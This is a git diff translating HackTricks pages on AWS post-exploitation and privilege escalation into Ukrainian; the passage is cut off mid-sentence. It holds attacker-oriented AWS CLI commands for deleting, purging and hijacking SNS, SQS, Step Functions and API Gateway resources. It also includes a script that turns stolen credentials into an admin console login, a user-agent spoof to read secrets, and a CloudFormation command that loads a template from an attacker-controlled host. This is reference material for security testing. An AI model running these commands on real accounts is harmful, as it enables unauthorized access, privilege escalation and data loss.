applications relying on the topic. - +Зловмисник може видалити цілу тему SNS, що призведе до втрати повідомлень і вплине на програми, які покладаються на цю тему. ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що використовують видалену тему. ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**Потенційний вплив**: Пошкодження даних, ненавмисні дії або виснаження ресурсів. ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +Зловмисник може змінити атрибути теми SNS, що потенційно вплине на її продуктивність, безпеку або доступність. ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Потенційний вплив**: Неправильні налаштування, що призводять до зниження продуктивності, проблем з безпекою або зменшення доступності. ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Зловмисник може підписатися або відписатися від теми SNS, потенційно отримуючи несанкціонований доступ до повідомлень або порушуючи нормальне функціонування додатків, що покладаються на цю тему. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` - -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. +**Потенційний вплив**: Несанкціонований доступ до повідомлень, порушення роботи для додатків, що залежать від ураженої теми. ### `sns:AddPermission` , `sns:RemovePermission` -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. - +Зловмисник може надати несанкціонованим користувачам або сервісам доступ до теми SNS або відкликати дозволи для законних користувачів, що призведе до порушень у нормальному функціонуванні додатків, які залежать від теми. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Потенційний вплив**: Несанкціонований доступ до теми, витік повідомлень або маніпуляція темою з боку несанкціонованих користувачів або сервісів, порушення нормального функціонування для додатків, що покладаються на тему. ### `sns:TagResource` , `sns:UntagResource` -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Зловмисник може додавати, змінювати або видаляти теги з ресурсів SNS, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..2dd534944 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SQS Post Exploitation +# AWS - SQS Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## SQS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,80 +12,62 @@ For more information check: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Зловмисник може надсилати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Потенційний вплив**: Використання вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що призводить до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Потенційний вплив**: Викрадення чутливої інформації, втрата повідомлень, пошкодження даних та порушення роботи додатків, що залежать від уражених повідомлень. ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +Зловмисник може видалити цілу чергу SQS, що призведе до втрати повідомлень та вплине на додатки, які залежать від черги. ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що використовують видалену чергу. ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +Зловмисник може очистити всі повідомлення з черги SQS, що призведе до втрати повідомлень та потенційного порушення роботи додатків, які покладаються на ці повідомлення. ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що покладаються на видалені повідомлення. ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +Зловмисник може змінити атрибути черги SQS, що потенційно вплине на її продуктивність, безпеку або доступність. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Потенційний вплив**: Неправильні налаштування, що призводять до зниження продуктивності, проблем з безпекою або зменшення доступності. ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Зловмисник може додавати, змінювати або видаляти теги з ресурсів SQS, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів. ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +Зловмисник може відкликати дозволи для законних користувачів або сервісів, видаливши політики, пов'язані з чергою SQS. Це може призвести до порушень у нормальному функціонуванні додатків, які покладаються на чергу. ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**Потенційний вплив**: Порушення нормального функціонування додатків, що залежать від черги, через несанкціоноване видалення дозволів. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..f5ddd8239 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -4,7 +4,7 @@ ## SSO & identitystore -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +Ці дозволи можуть бути використані для порушення дозволів: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..af987dc88 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +Для отримання додаткової інформації про цю службу AWS, перегляньте: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +Цей дозвіл дозволяє **викривати секретні дані під час виконання**. Для цього потрібно встановити рівень перевірки на TRACE і параметр revealSecrets на true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +Зловмисник з цими дозволами зможе назавжди видалити машини станів, їх версії та псевдоніми. Це може порушити критичні робочі процеси, призвести до втрати даних і вимагати значного часу для відновлення та відновлення постраждалих машин станів. Крім того, це дозволить зловмиснику приховати сліди, що використовуються, порушити судово-медичні розслідування та потенційно паралізувати операції, видаливши важливі автоматизовані процеси та конфігурації станів. > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - Видаляючи машину станів, ви також видаляєте всі її асоційовані версії та псевдоніми. +> - Видаляючи псевдонім машини станів, ви не видаляєте версії машини станів, що посилаються на цей псевдонім. +> - Неможливо видалити версію машини станів, яка в даний час посилається на один або кілька псевдонімів. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **Potential Impact**: Порушення критичних робочих процесів, втрата даних та простої в роботі. ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, зможе збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зможе зменшити це значення до 0, так що щоразу, коли елемент зазнає невдачі, весь запуск карти зазнає невдачі, що безпосередньо вплине на виконання станів машини та потенційно порушить критичні робочі процеси. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **Потенційний вплив**: Зниження продуктивності та порушення критичних робочих процесів. ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +Зловмисник з цим дозволом може зупинити виконання будь-якої машини станів, порушуючи поточні робочі процеси та процеси. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та потенційної корупції даних. > [!WARNING] -> This action is not supported by **express state machines**. - +> Ця дія не підтримується **експрес-машинами станів**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **Potential Impact**: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних. ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Зловмисник може додавати, змінювати або видаляти теги з ресурсів Step Functions, порушуючи розподіл витрат вашої організації, відстеження ресурсів та політики контролю доступу на основі тегів. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..f30f53246 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -1,24 +1,23 @@ -# AWS - STS Post Exploitation +# AWS - STS Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## STS -For more information: +Для отримання додаткової інформації: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### Від IAM облікових даних до консолі -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +Якщо вам вдалося отримати деякі IAM облікові дані, ви можете бути зацікавлені в **доступі до веб-консолі** за допомогою наступних інструментів.\ +Зверніть увагу, що користувач/роль повинні мати дозвіл **`sts:GetFederationToken`**. -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### Користувацький скрипт +Наступний скрипт використовуватиме профіль за замовчуванням та стандартне місцезнаходження AWS (не gov і не cn), щоб надати вам підписане URL, яке ви можете використовувати для входу в веб-консолі: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +Ви можете **згенерувати посилання на веб-консоль** за допомогою [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> Переконайтеся, що у користувача IAM є дозвіл `sts:GetFederationToken`, або надайте роль для прийняття. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault) - це інструмент для безпечного зберігання та доступу до облікових даних AWS у середовищі розробки. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> Ви також можете використовувати **aws-vault** для отримання **сесії консолі браузера** -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **Обхід обмежень User-Agent з Python** +Якщо існує **обмеження на виконання певних дій на основі user agent** (наприклад, обмеження використання бібліотеки python boto3 на основі user agent), можна використовувати попередню техніку для **підключення до веб-консолі через браузер**, або ви можете безпосередньо **змінити user-agent boto3**, виконавши: ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..38c68c5c1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,17 +1,13 @@ -# AWS - VPN Post Exploitation +# AWS - VPN Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## VPN -For more information: +Для отримання додаткової інформації: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..1ee938dd2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -1,27 +1,23 @@ -# AWS - Privilege Escalation +# AWS - Привілейоване підвищення {{#include ../../../banners/hacktricks-training.md}} -## AWS Privilege Escalation +## Привілейоване підвищення в AWS -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +Спосіб підвищити свої привілеї в AWS - це мати достатньо дозволів, щоб, так чи інакше, отримати доступ до привілеїв інших ролей/користувачів/груп. Ланцюгове підвищення, поки ви не отримаєте адміністративний доступ до організації. > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> AWS має **сотні** (якщо не тисячі) **дозволів**, які можуть бути надані сутності. У цій книзі ви знайдете **всі дозволи, які я знаю**, які ви можете зловживати для **підвищення привілеїв**, але якщо ви **знаєте якийсь шлях**, не згаданий тут, **будь ласка, поділіться ним**. > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> Якщо політика IAM має `"Effect": "Allow"` і `"NotAction": "Someaction"` вказуючи на **ресурс**... це означає, що **дозволений суб'єкт** має **дозвіл робити ВСЕ, крім вказаної дії**.\ +> Тож пам'ятайте, що це ще один спосіб **надання привілейованих дозволів** суб'єкту. -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**Сторінки цього розділу впорядковані за сервісами AWS. Там ви зможете знайти дозволи, які дозволять вам підвищити привілеї.** -## Tools +## Інструменти - [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py) - [Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..925a04bb7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +З цією дозволом ви можете генерувати ключі API для налаштованих API (по регіону). ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Потенційний вплив:** Ви не можете підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +З цією дозволом ви можете отримати згенеровані ключі API для налаштованих API (по регіону). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Потенційний вплив:** Ви не можете підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +З цими дозволами можливо змінити політику ресурсу API, щоб надати собі доступ до його виклику та зловживати потенційним доступом, який може мати API gateway (наприклад, виклик вразливої lambda). ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**Потенційний вплив:** Ви, зазвичай, не зможете підвищити привілеї безпосередньо за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> Потрібно тестування +Зловмисник з дозволами `apigateway:PutIntegration`, `apigateway:CreateDeployment` та `iam:PassRole` може **додати нову інтеграцію до існуючого API Gateway REST API з функцією Lambda, до якої прикріплено IAM роль**. Потім зловмисник може **викликати функцію Lambda для виконання довільного коду і потенційно отримати доступ до ресурсів, пов'язаних з IAM роллю**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**Потенційний вплив**: Доступ до ресурсів, пов'язаних з IAM роллю функції Lambda. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> Потрібно тестування +Зловмисник з правами `apigateway:UpdateAuthorizer` та `apigateway:CreateDeployment` може **модифікувати існуючий авторизатор API Gateway**, щоб обійти перевірки безпеки або виконати довільний код під час виконання запитів API. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**Потенційний вплив**: Обхід перевірок безпеки, несанкціонований доступ до ресурсів API. ### `apigateway:UpdateVpcLink` > [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> Потрібно тестування +Зловмисник з дозволом `apigateway:UpdateVpcLink` може **змінити існуюче VPC посилання, щоб вказати на інший мережевий балансувальник навантаження, потенційно перенаправляючи приватний API-трафік на несанкціоновані або шкідливі ресурси**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**Потенційний вплив**: Несанкціонований доступ до приватних ресурсів API, перехоплення або порушення трафіку API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -7,7 +7,3 @@ TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..100e0fb80 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +Для отримання додаткової інформації про cloudformation дивіться: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +Зловмисник з цими дозволами **може підвищити привілеї**, створивши **CloudFormation стек** з користувацьким шаблоном, розміщеним на їхньому сервері, щоб **виконувати дії під дозволами вказаної ролі:** ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +На наступній сторінці ви маєте **приклад експлуатації** з додатковим дозволом **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**Потенційний вплив:** Privesc до ролі служби cloudformation, що вказана. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +У цьому випадку ви можете **зловживати існуючим стеком cloudformation**, щоб оновити його та ескалувати привілеї, як у попередньому сценарії: ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +`cloudformation:SetStackPolicy` дозволяє **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +Якщо у 